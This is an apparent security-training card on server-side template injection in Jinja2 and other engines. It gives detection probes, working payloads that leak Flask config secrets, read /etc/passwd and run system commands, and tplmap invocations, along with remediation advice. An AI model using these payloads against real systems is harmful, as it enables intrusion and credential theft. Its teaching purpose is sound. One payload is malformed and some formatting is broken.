SSTI chain
Theory
Why This Matters
Server-Side Template Injection (SSTI) emerged as a named vulnerability class following James Kettle's 2015 Black Hat research "Server-Side Template Injection: RCE for the Modern Web App," which showed that rendering user-controlled input directly through template engines like Jinja2, Twig, Smarty, and Freemarker could yield full remote code execution. SSTI has since been found in production applications at scale, including a notable 2019 Uber subdomain vulnerability and multiple HackerOne bug bounty reports against major platforms. Because template engines are ubiquitous in Python, PHP, Java, and Ruby web frameworks, SSTI is a broadly applicable class.
Core Concept
Server-Side Template Injection occurs when user-controlled input is embedded directly into a template string that is then rendered by the template engine, rather than being passed as a variable to a fixed template. The template engine evaluates the injected expression as code within its execution context, violating the invariant that template structure is defined by developers and only data values come from users.
The attacker precondition is that the application constructs a template string dynamically using user input — for example: template.render(user_greeting) where user_greeting contains the raw user input rather than a pre-written template that receives user input as a named variable.
Engine detection is the first step. Different engines use different expression delimiters:
- Jinja2 / Twig: {{expression}}
- Freemarker / Velocity: ${expression}
- Smarty / Mako: #{expression}, ${expression}, <% %>
A polyglot detection payload tests multiple engines simultaneously: ${{<%[%'"}}%. If the application errors on this string, a template engine is processing it. Follow-up with arithmetic payloads ({{7*7}}, ${7*7}, #{7*7}) — a rendered result of 49 confirms which syntax the engine uses.
In Jinja2, the config object is globally accessible and exposes the Flask/Django application configuration, often including the SECRET_KEY. More powerful is traversing the Python object hierarchy via __mro__ (method resolution order) and __subclasses__() to reach built-in classes that provide file-read or command-execution capabilities. This multi-step traversal is the "chain" in SSTI chain exploitation: detect engine → access globals → traverse object hierarchy → reach a useful class → call its methods.
Technical Deep-Dive
# Step 1: Polyglot detection — inject into every reflected input field
${{<%[%'"}}%
# Step 2: Arithmetic confirmation — which syntax renders?
{{7*7}} → 49 → Jinja2 or Twig
${7*7} → 49 → Freemarker, Velocity, or Mako
#{7*7} → 49 → Ruby ERB or some Twig configs
# Step 3: Jinja2 — access Flask application config
{{config}}
# Returns: <Config {'SECRET_KEY': 'dev-secret-key', 'DEBUG': True, ...}>
{{config.items()}}
# Enumerates all config keys including SECRET_KEY, DATABASE_URI, etc.
# Step 4: Jinja2 — access global namespace
{{self.__dict__}}
{{request.__class__.__mro__}}
# Traces MRO: [RequestContext, object]
# Step 5: Reach file-read capability via subclass chain
# Find index of <class 'subprocess.Popen'> or file-read class:
{{'.__class__.__mro__[1].__subclasses__()}}
# Returns a list of all subclasses of object; find useful ones by index
# Step 6: Read /etc/passwd using the 'open' builtin via __builtins__
{{config.__class__.__init__.__globals__['open']('/etc/passwd').read()}}
# Alternative — lipsum global (available in Jinja2 with Flask):
{{lipsum.__globals__['os'].popen('id').read()}}
# Returns: uid=33(www-data) gid=33(www-data) — but this is RCE (see card 7)
# tplmap automated SSTI detection and exploitation
git clone https://github.com/epinna/tplmap
python3 tplmap.py -u 'https://target.example.com/greet?name=*'
--engine Jinja2 # optional: specify engine if known
# For info-disclosure only (no RCE):
python3 tplmap.py -u 'https://target.example.com/greet?name=*'
--os-cmd 'cat /etc/passwd'
# tplmap automatically traverses the subclass chain
# POST body injection:
python3 tplmap.py -u 'https://target.example.com/greet'
--data 'name=*' --engine Jinja2
Security Assessment Methodology
- Fuzz all reflected inputs — Identify every parameter, form field, and HTTP header value that appears reflected in the response. Test with the polyglot
${{<%[%'"}}%first; a template error confirms a candidate. - Confirm with arithmetic — Follow up with
{{7*7}},${7*7}, and#{7*7}. The rendered result of49identifies the engine. - Attempt config/globals access — In Jinja2: submit
{{config}}and{{config.items()}}to extract application configuration. Document any secrets (SECRET_KEY, DB credentials). - Enumerate the subclass chain — Submit
{{'.__class__.__mro__[1].__subclasses__()}}and examine the output for useful classes (file I/O, subprocess). Note their list indices. - Achieve file read — Use
config.__class__.__init__.__globals__['open']('/etc/passwd').read()or the lipsum globals path to read sensitive files. Target: /etc/passwd, application config files, .env files. - Run tplmap — Point tplmap at confirmed injection points for engine-specific enumeration and to confirm RCE escalation feasibility (document but do not execute destructive commands).
- Test all template engines — Applications may use multiple engines. Twig in PHP, Freemarker in Java, and Smarty are common alternatives to Jinja2.
Defensive Countermeasure — Never construct template strings from user input. The correct pattern passes user data as named template variables to a static template:
render_template('greet.html', name=user_input)rather thanrender_template_string('Hello ' + user_input). If dynamic template generation is genuinely required, use a sandboxed environment (jinja2.sandbox.SandboxedEnvironment) and apply strict allowlisting of permitted expressions. Additionally, enable Jinja2'sautoescape=Trueas a defence-in-depth measure against XSS, though it does not prevent SSTI.
Common Assessment Errors
- Confusing SSTI with XSS — An input that reflects
{{7*7}}literally (not as 49) is an XSS candidate; an input that renders the result as49is SSTI. The distinction matters for both exploitation and remediation. - Testing only Jinja2 syntax — Applications may run Twig (PHP), Freemarker (Java), or Velocity. Not testing non-Jinja2 payloads on non-Python stacks misses the vulnerability.
- Stopping at config disclosure — Finding
SECRET_KEYin config is impactful (JWT forgery, session forgery) but SSTI typically enables full RCE via the subclass chain. Report the full potential impact. - Forgetting to test POST bodies and headers — Error pages, email templates, and PDF generators often receive user input via POST body fields or User-Agent/Referer headers that get passed to template engines.
- Not verifying the arithmetic result is evaluated server-side — Some applications reflect
{{7*7}}as the literal string49via client-side templating. Confirm the calculation happens server-side by checking response source before claiming SSTI. - Assuming sandbox = safe — Jinja2's SandboxedEnvironment has had multiple bypass techniques published. A sandboxed environment reduces risk but is not a complete mitigation without regular patching.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Builds understanding of SSTI as a code-injection class through template engine expression evaluation |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Covers multi-engine SSTI detection methodology and Jinja2 object hierarchy traversal |
| S0001 | Skill in conducting vulnerability scans | Trains tplmap usage and polyglot detection methodology |
| S0044 | Skill in mimicking threat behaviors | Develops multi-step chain-building skill for info-disclosure exploitation |
| T0028 | Test system security controls | Covers template construction review and sandboxed environment assessment |
| T0591 | Perform penetration testing | Provides complete SSTI detection-through-exploitation methodology |
Further Reading
- Server-Side Template Injection: RCE for the Modern Web App — James Kettle, Black Hat USA 2015
- Server-Side Template Injection — PortSwigger Web Security Academy
- tplmap Documentation and Engine Payloads — Emilio Pinna, GitHub
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.